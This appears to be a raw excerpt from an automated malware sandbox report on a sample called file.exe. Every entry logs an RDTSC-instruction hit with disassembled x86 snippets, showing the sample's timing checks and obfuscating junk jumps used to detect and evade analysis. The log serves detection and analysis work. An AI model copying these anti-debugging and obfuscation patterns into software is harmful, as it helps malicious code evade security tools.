Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9DA second address: E3E9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9E2 second address: E3E9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9E8 second address: E3E9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9F0 second address: E3E9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9F5 second address: E3E9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3E9FB second address: E3EA01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EA01 second address: E3EA05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E55042 second address: E5504B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54970 second address: E5497D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76D4BF1AF6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E567B2 second address: E567BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57DB3 second address: E57DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E57DB7 second address: E57DDD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F76D47AEAA1h 0x0000000e jmp 00007F76D47AEA85h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E594D6 second address: E594F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B07h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E594F3 second address: E594F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E594F9 second address: E5950B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1AFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5950B second address: E5950F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5950F second address: E5951D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F76D4BF1AF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BC73 second address: E5BC81 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5BC81 second address: E5BC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C30C second address: E5C332 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D47AEA78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push esi 0x0000000d push esi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop esi 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F76D47AEA7Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C332 second address: E5C336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C336 second address: E5C33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5C33C second address: E5C342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5D821 second address: E5D825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C043E second address: 54C0456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D4BF1B04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0456 second address: 54C0491 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F76D47AEA7Fh 0x00000012 mov cx, A83Fh 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F76D47AEA81h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0491 second address: 54C04FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F76D4BF1AFEh 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 jmp 00007F76D4BF1B00h 0x00000018 mov ecx, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jmp 00007F76D4BF1AFDh 0x00000023 pushfd 0x00000024 jmp 00007F76D4BF1B00h 0x00000029 and si, 0518h 0x0000002e jmp 00007F76D4BF1AFBh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06CF second address: 54E06D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06D3 second address: 54E06D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06D7 second address: 54E06DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E06DD second address: 54E07AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F76D4BF1B00h 0x00000010 xchg eax, ecx 0x00000011 pushad 0x00000012 push eax 0x00000013 call 00007F76D4BF1AFDh 0x00000018 pop ecx 0x00000019 pop edi 0x0000001a jmp 00007F76D4BF1AFEh 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 jmp 00007F76D4BF1B01h 0x00000027 pushfd 0x00000028 jmp 00007F76D4BF1B00h 0x0000002d sbb cl, FFFFFF88h 0x00000030 jmp 00007F76D4BF1AFBh 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, ecx 0x00000038 jmp 00007F76D4BF1B06h 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f mov cl, 4Ah 0x00000041 jmp 00007F76D4BF1B03h 0x00000046 popad 0x00000047 push eax 0x00000048 jmp 00007F76D4BF1B09h 0x0000004d xchg eax, esi 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F76D4BF1AFDh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07AB second address: 54E07CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F76D47AEA80h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07CA second address: 54E07E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F76D4BF1B01h 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E07E1 second address: 54E0822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F76D47AEA7Ah 0x0000000d mov dword ptr [esp], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F76D47AEA7Dh 0x00000019 add ecx, 552C95D6h 0x0000001f jmp 00007F76D47AEA81h 0x00000024 popfd 0x00000025 push eax 0x00000026 pop ebx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E088B second address: 54E08DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F76D4BF1AFFh 0x00000009 sub al, 0000007Eh 0x0000000c jmp 00007F76D4BF1B09h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 cmp dword ptr [ebp-04h], 00000000h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F76D4BF1B09h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08DF second address: 54E08E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08E5 second address: 54E08E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08E9 second address: 54E0942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F76D47AEA84h 0x00000014 xor cl, 00000038h 0x00000017 jmp 00007F76D47AEA7Bh 0x0000001c popfd 0x0000001d mov ah, 40h 0x0000001f popad 0x00000020 je 00007F76D47AEAD6h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F76D47AEA7Eh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0942 second address: 54E0948 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0948 second address: 54E094C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E096F second address: 54E0981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D4BF1AFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0981 second address: 54E09A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movsx edx, ax 0x00000013 mov esi, 449EB1B3h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09A0 second address: 54E09F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F76D4BF1AFCh 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dx, 59D0h 0x00000017 pushfd 0x00000018 jmp 00007F76D4BF1B09h 0x0000001d sub ax, 8656h 0x00000022 jmp 00007F76D4BF1B01h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09F0 second address: 54E09F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09F6 second address: 54E09FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E09FA second address: 54E0062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0004h 0x0000000e nop 0x0000000f sub esp, 04h 0x00000012 xor ebx, ebx 0x00000014 cmp eax, 00000000h 0x00000017 je 00007F76D47AEBFFh 0x0000001d xor eax, eax 0x0000001f mov dword ptr [esp], 00000000h 0x00000026 mov dword ptr [esp+04h], 00000000h 0x0000002e call 00007F76D90F798Bh 0x00000033 mov edi, edi 0x00000035 jmp 00007F76D47AEA7Bh 0x0000003a xchg eax, ebp 0x0000003b jmp 00007F76D47AEA86h 0x00000040 push eax 0x00000041 jmp 00007F76D47AEA7Bh 0x00000046 xchg eax, ebp 0x00000047 jmp 00007F76D47AEA86h 0x0000004c mov ebp, esp 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F76D47AEA87h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0062 second address: 54E0068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0068 second address: 54E006C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E006C second address: 54E009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push FFFFFFFEh 0x0000000a pushad 0x0000000b jmp 00007F76D4BF1AFDh 0x00000010 popad 0x00000011 call 00007F76D4BF1AF9h 0x00000016 pushad 0x00000017 mov ax, bx 0x0000001a mov cx, bx 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E009D second address: 54E00A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00A1 second address: 54E00A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00A5 second address: 54E00AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00AB second address: 54E00DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F76D4BF1AFBh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00DA second address: 54E00DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00DE second address: 54E00E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E00E4 second address: 54E015F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 38h 0x00000005 mov al, 75h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 pushfd 0x00000013 jmp 00007F76D47AEA88h 0x00000018 adc ecx, 4EFDBC58h 0x0000001e jmp 00007F76D47AEA7Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop eax 0x00000026 jmp 00007F76D47AEA86h 0x0000002b push 4744B655h 0x00000030 jmp 00007F76D47AEA81h 0x00000035 add dword ptr [esp], 2E7C751Bh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 movsx edi, ax 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E015F second address: 54E0165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0165 second address: 54E0169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0169 second address: 54E018D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76D4BF1B04h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E018D second address: 54E01B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F76D47AEA80h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E01B1 second address: 54E01C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E01C0 second address: 54E020F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F76D47AEA81h 0x0000000f nop 0x00000010 jmp 00007F76D47AEA7Eh 0x00000015 sub esp, 18h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F76D47AEA7Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E020F second address: 54E0215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0215 second address: 54E0249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F76D47AEA7Ch 0x00000013 sbb si, 8C28h 0x00000018 jmp 00007F76D47AEA7Bh 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0249 second address: 54E02C6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F76D4BF1B08h 0x00000008 sub ch, FFFFFF88h 0x0000000b jmp 00007F76D4BF1AFBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov edi, esi 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007F76D4BF1AFBh 0x0000001d pushfd 0x0000001e jmp 00007F76D4BF1B08h 0x00000023 and ah, 00000018h 0x00000026 jmp 00007F76D4BF1AFBh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F76D4BF1B05h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02C6 second address: 54E02EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D47AEA7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02EB second address: 54E02FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D4BF1AFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E02FB second address: 54E0373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F76D47AEA7Eh 0x0000000e xchg eax, esi 0x0000000f jmp 00007F76D47AEA80h 0x00000014 xchg eax, edi 0x00000015 jmp 00007F76D47AEA80h 0x0000001a push eax 0x0000001b jmp 00007F76D47AEA7Bh 0x00000020 xchg eax, edi 0x00000021 jmp 00007F76D47AEA86h 0x00000026 mov eax, dword ptr [75C74538h] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e call 00007F76D47AEA7Dh 0x00000033 pop eax 0x00000034 mov edx, 6F1B45D4h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0373 second address: 54E045B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007F76D4BF1B04h 0x0000000b or esi, 62559188h 0x00000011 jmp 00007F76D4BF1AFBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor dword ptr [ebp-08h], eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F76D4BF1B04h 0x00000024 add eax, 1F1873E8h 0x0000002a jmp 00007F76D4BF1AFBh 0x0000002f popfd 0x00000030 pushfd 0x00000031 jmp 00007F76D4BF1B08h 0x00000036 xor esi, 443C0648h 0x0000003c jmp 00007F76D4BF1AFBh 0x00000041 popfd 0x00000042 popad 0x00000043 xor eax, ebp 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F76D4BF1B05h 0x0000004c add cl, 00000066h 0x0000004f jmp 00007F76D4BF1B01h 0x00000054 popfd 0x00000055 call 00007F76D4BF1B00h 0x0000005a jmp 00007F76D4BF1B02h 0x0000005f pop eax 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F76D4BF1AFDh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E045B second address: 54E0461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0461 second address: 54E0465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0465 second address: 54E04B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F76D47AEA84h 0x00000015 and ecx, 74B41AF8h 0x0000001b jmp 00007F76D47AEA7Bh 0x00000020 popfd 0x00000021 mov dh, ch 0x00000023 popad 0x00000024 lea eax, dword ptr [ebp-10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04B4 second address: 54E04C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F76D4BF1AFAh 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04C4 second address: 54E04CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04CA second address: 54E04CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04CE second address: 54E04D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E04D2 second address: 54E052F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e jmp 00007F76D4BF1B06h 0x00000013 mov dword ptr [ebp-18h], esp 0x00000016 jmp 00007F76D4BF1B00h 0x0000001b mov eax, dword ptr fs:[00000018h] 0x00000021 jmp 00007F76D4BF1B00h 0x00000026 mov ecx, dword ptr [eax+00000FDCh] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f movsx edi, cx 0x00000032 mov di, cx 0x00000035 popad 0x00000036 rdtsc
